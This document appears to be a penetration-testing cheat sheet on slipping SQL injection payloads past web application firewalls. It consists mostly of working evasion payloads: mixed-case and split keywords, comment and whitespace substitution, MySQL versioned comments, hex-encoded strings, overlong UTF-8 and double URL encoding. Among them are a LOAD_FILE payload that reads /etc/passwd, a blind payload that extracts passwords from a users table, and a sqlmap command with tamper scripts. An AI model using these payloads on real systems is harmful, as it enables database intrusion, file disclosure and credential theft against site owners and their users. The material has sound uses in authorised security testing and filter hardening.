When basic payloads get blocked by a WAF or application-level filter, these techniques often get through. They work because filters typically do string matching while databases are more flexible about syntax.
Case Toggling
Many filters match case-sensitively but SQL keywords are case-insensitive:
SeLeCt
uNiOn
oR
AnD
The database treats these as normal keywords; the filter doesn’t recognize them.
Keyword Doubling
Filters that strip blacklisted keywords (replacing SELECT with empty string) can be bypassed by nesting the keyword:
SELSELECTECT
UNIunionON
After the filter removes the inner SELECT / union, the outer characters recombine into a valid keyword.
Whitespace Alternatives
Filters often target spaces. SQL accepts many characters as whitespace:
| Char | Encoded | Purpose |
|---|---|---|
| Tab | %09 | Whitespace |
| Newline | %0a | Whitespace |
| CR | %0d | Whitespace |
| Form feed | %0c | Whitespace |
| Inline comment | /**/ | Zero-width separator |
Examples:
UNION%09SELECT%091,2,3
UNION%0ASELECT%0A1,2,3
UNION/**/SELECT/**/1,2,3
The last variant is especially useful — /**/ works everywhere a space would.
MySQL Version Comments
MySQL has a special comment form /*!50000SELECT*/ where the number is a MySQL version. If the server is that version or newer, the content executes:
' UNION/*!50000SELECT*/1,2,3-- -
/*!50000UNION*/ /*!50000SELECT*/ 1,2,3Many filters strip standard /* */ comments but don’t know about this syntax.
Hex Encoding for Strings
Instead of quoting strings, use their hex representation:
' UNION SELECT 1, LOAD_FILE(0x2f6574632f706173737764), 3-- -
-- 0x2f6574632f706173737764 = '/etc/passwd'
' UNION SELECT 1,2,3 FROM users WHERE username=0x61646d696e-- -
-- 0x61646d696e = 'admin'Useful when quotes are filtered or escaped.
Scientific Notation for Numbers
Comparison filters sometimes miss numeric literals in scientific form:
1e0 = 1
2e0 = 2
So OR 1=1 can become OR 1e0=1e0.
Alternative Functions
If SLEEP() is blocked, try alternatives that achieve the same effect:
| Blocked | Try Instead |
|---|---|
SLEEP(5) | BENCHMARK(5000000, SHA1('x')) |
IF(...) | CASE WHEN ... THEN ... ELSE ... END |
SUBSTRING() | MID(), SUBSTR() |
CONCAT() | string concatenation with ` |
SPACE(5) | REPEAT(' ', 5) |
Breaking Up Blocked Keywords
SELECT → SE/**/LECT → SELE/**/CT → Sel%00ect
UNION → UN/**/ION
OR → O/**/R → 0R (zero R if filter uses regex)
AND → A/**/ND → &&
Using Logical Operators Instead of Comparisons
If = is blocked, use LIKE:
' OR username LIKE 'admin'-- -Or IN:
' OR id IN (1)-- -Or BETWEEN:
' OR id BETWEEN 1 AND 1-- -Overlong UTF-8 Encoding
Some filters normalize only ASCII. Encoding characters as overlong UTF-8 sequences can slip through:
' → %c0%a7
" → %c0%a2
Double URL Encoding
If the filter decodes once then checks, but the application decodes twice:
' → %27 → %2527
% → %25 → %2525
Submit %2527 — the filter sees %27 (literal), the app sees '.
Combine Multiple Techniques
Real payloads often stack three or four bypasses:
'/*!50000 oR */(ASCII(SubStrInG((SeLeCt%09password%09FrOm%09users),1,1))>96)-- -- Mixed case to defeat case-sensitive matchers
/*!50000 */MySQL version comment- Tab (
%09) instead of spaces - Alternate function (
SubStrInG,AsCii) — filters often blacklist exact strings
When Nothing Works — Switch to SQLMap
If manual bypass isn’t getting through, SQLMap has 50+ tamper scripts that apply these techniques automatically:
sqlmap -u "http://target/?id=1" --tamper=space2comment,charencode,randomcaseCommon tamper scripts:
space2comment— spaces to/**/charencode— URL-encode all charactersrandomcase— random case for keywordsbetween—=toBETWEENapostrophemask— replace'with UTF-8 fullwidth variantversionedmorekeywords— MySQL versioned comments around keywords
